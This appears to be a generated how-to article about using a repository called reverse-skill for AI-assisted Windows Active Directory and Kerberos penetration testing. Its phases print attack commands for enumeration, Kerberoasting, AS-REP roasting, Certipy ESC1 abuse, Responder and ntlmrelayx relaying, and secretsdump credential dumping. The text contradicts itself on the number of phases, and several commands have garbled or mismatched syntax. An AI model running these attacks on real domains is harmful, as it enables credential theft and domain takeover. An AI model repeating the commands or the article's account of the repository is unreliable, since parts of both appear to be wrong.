# How to Conduct Windows Active Directory and Kerberos Penetration Testing with reverse‑skill > Master Windows Active Directory and Kerberos penetration testing using the reverse-skill repository. Learn six auditable phases for effective security assessments. - Repository: [ZhaoXu/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) - Tags: how-to-guide - Published: 2026-08-07 --- **The reverse‑skill repository provides a modular skill router that structures Windows Active Directory and Kerberos penetration testing into six auditable phases, enforcing authorization checkpoints before executing enumeration, Kerberoasting, or ESC attacks.** The reverse‑skill framework guides security analysts through repeatable, AI‑assisted workflows for enterprise infrastructure testing. For Windows Active Directory and Kerberos penetration testing, the repository implements strict routing logic that separates reconnaissance from exploitation, ensuring every command aligns with predefined operational contracts. ## Understanding the reverse‑skill Architecture for AD Testing The reverse‑skill system operates as a **skill router** that directs AI agents and human operators through structured security workflows. According to the source code, the entry point for all operations is [`skills/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/SKILL.md), which defines the master routing process for selecting specific security domains. Global enforcement rules in [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) mandate scope validation, authorization verification, and evidence collection before any active command execution against target infrastructure. For Active Directory engagements, the framework routes to [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md), which implements a **four‑phase methodology**: enumeration, path scoring, minimal verification, and cleanup. This workflow is enforced by operational contracts stored in `skills/ops/` and initialized through `skills/scripts/case-init.ps1`, creating a case‑specific scope file that must authorize each technique before deployment. ## Windows Active Directory Penetration Testing Workflow The AD‑specific playbook in [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md) outlines a comprehensive lifecycle for conducting authorized penetration tests against Windows domains and Kerberos environments. ### Phase 1: Enumeration and Reconnaissance Initial reconnaissance focuses on gathering domain intelligence without triggering defensive alerts. The framework recommends using NetExec (nxc) for SMB enumeration and user/computer discovery across target ranges. ```bash # Enumerate SMB shares and validate credentials across subnet nxc smb 10.10.0.0/24 -u administrator -p Passw0rd ``` BloodHound data collection follows initial host discovery, using `bloodhound-python` or SharpHound to map attack paths including SPNs for Kerberoasting candidates and ACL misconfigurations. ```bash # Execute BloodHound ingestion for complete domain mapping bloodhound-python -d corp.local -u administrator -p Passw0rd -c All -ns dc01.corp.local ``` ### Phase 2: Attack Path Analysis Analysts import collected JSON files into BloodHound to prioritize high‑value attack vectors. The reference documentation at [`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md) catalogs specific paths including Kerberoasting targets, AS‑REP roastable accounts, and NTLM relay opportunities. Path scoring weighs factors like credential exposure risk and lateral movement potential before advancing to exploitation. ### Phase 3: Kerberos Attacks (Kerberoasting and AS‑REP Roasting) Once SPNs are identified, the framework supports **Kerberoasting** to extract TGS tickets for offline cracking. For accounts lacking pre‑authentication, **AS‑REP roasting** captures encrypted credentials without domain access. ```bash # Kerberoasting with Rubeus - extract TGS tickets for targeted SPNs Rubeus.exe kerberoast /service:spn_name /output:kerb.tgs # AS-REP roasting for accounts with no pre-authentication required GetNPUsers /domain:corp.local /output:asrep.txt ``` These techniques are documented in [`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md) as primary credential harvesting methods against Kerberos implementations. ### Phase 4: AD Certificate Services (ESC) Exploitation For environments running Active Directory Certificate Services (AD‑CS), the playbook outlines **ESC attacks** including ESC1 and ESC8. Using Certipy, analysts abuse vulnerable certificate templates to escalate privileges or impersonate domain users. ```bash # ESC1 - Request certificate with arbitrary SAN using vulnerable template certipy certify -domain corp.local -user administrator -p Passw0rd -template User -san host.attacker.com ``` NTLM relay attacks complement certificate exploitation, combining Responder with ntlmrelayx to capture and relay authentication attempts. ```bash # Start Responder for LLMNR/NBT-NS poisoning responder -I eth0 -wrf # Relay captured hashes to target systems ntlmrelayx.py -tf targets.txt -smb2support ``` ### Phase 5: Credential Dumping and Lateral Movement Post‑exploitation follows successful authentication, using Impacket's secretsdump to extract NTDS.dit contents or LSASS memory. The framework emphasizes that **destructive commands require explicit authorization** documented in the case scope. ```bash # Dump domain secrets from compromised DC secretsdump /domain:corp /user:admin /password:Pass123 ``` Golden and silver ticket creation is permitted only when specifically authorized in the `case-init` scope file, with all actions logged as evidence prior to execution. ### Phase 6: Evidence Collection and Cleanup The final phase mandates comprehensive documentation through `skills/ops/` reporting pipelines. Analysts must sanitize credentials from logs, generate command timelines, and validate that all testing artifacts align with the initial authorization boundaries defined in `skills/scripts/case-init.ps1`. ## Critical Source Files for AD Penetration Testing The reverse‑skill repository organizes AD testing knowledge across specific files that enforce methodology consistency: - **[`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md)**: Primary playbook defining the six‑phase AD testing lifecycle and authorization checkpoints. - **[`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md)**: Quick‑reference matrix of attack vectors including Kerberoasting, AS‑REP roasting, ESC1/ESC8, and NTLM relay configurations. - **[`skills/RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/RULES.md)**: Global enforcement of scope boundaries and prohibited actions. - **`skills/scripts/case-init.ps1`**: PowerShell script generating case scaffolding including scope definitions, evidence folders, and timeline templates. - **`skills/ops/`**: Operational contracts defining evidence schemas and reporting pipelines. - **[`skills/tool-index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/tool-index.md)**: Inventory of available tools including Impacket, Certipy, BloodHound, and Rubeus. ## Summary - The reverse‑skill framework structures Windows Active Directory and Kerberos penetration testing through a modular router architecture defined in [`skills/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/SKILL.md) and [`skills/windows-ad/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/SKILL.md). - Six distinct phases enforce methodology: enumeration, path analysis, Kerberos attacks (Kerberoasting/AS‑REP), ESC exploitation, credential dumping, and evidence collection. - Authorization gates in [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) and `skills/scripts/case-init.ps1` prevent unauthorized exploitation by requiring case‑specific scope validation. - Key tools include Rubeus for Kerberoasting, Certipy for ESC attacks, BloodHound for path analysis, and Impacket for credential extraction. - All actions must be logged as evidence in `skills/ops/` contracts before executing destructive commands against domain controllers. ## Frequently Asked Questions ### What authorization is required before running Kerberoasting attacks in reverse‑skill? All Kerberos attacks including Kerberoasting and AS‑REP roasting require explicit authorization documented in the case scope file generated by `skills/scripts/case-init.ps1`. The [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) file enforces that no active commands execute until the operator validates scope, target ownership, and evidence collection procedures. ### How does reverse‑skill prioritize attack paths during AD assessments? The framework uses BloodHound graph analysis to identify high‑value paths such as Kerberoastable SPNs, AS‑REP roastable accounts, and AD‑CS template vulnerabilities documented in [`skills/windows-ad/references/ad-attack-paths.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/windows-ad/references/ad-attack-paths.md). Path scoring weighs credential exposure and lateral movement potential before recommending specific exploitation techniques. ### Which tools does reverse‑skill recommend for AD Certificate Services attacks? For ESC attacks including ESC1 and ESC8, the repository specifies Certipy to enumerate and abuse vulnerable certificate templates. Combined with Responder and ntlmrelayx for NTLM relay scenarios, these tools target misconfigured PKI implementations commonly found in enterprise Active Directory environments. ### Where is penetration test evidence stored in the reverse‑skill framework? Evidence collection follows schemas defined in `skills/ops/` operational contracts, with specific directories created during case initialization via `skills/scripts/case-init.ps1`. All commands, outputs, and timelines must be sanitized and stored according to these contracts before the engagement concludes.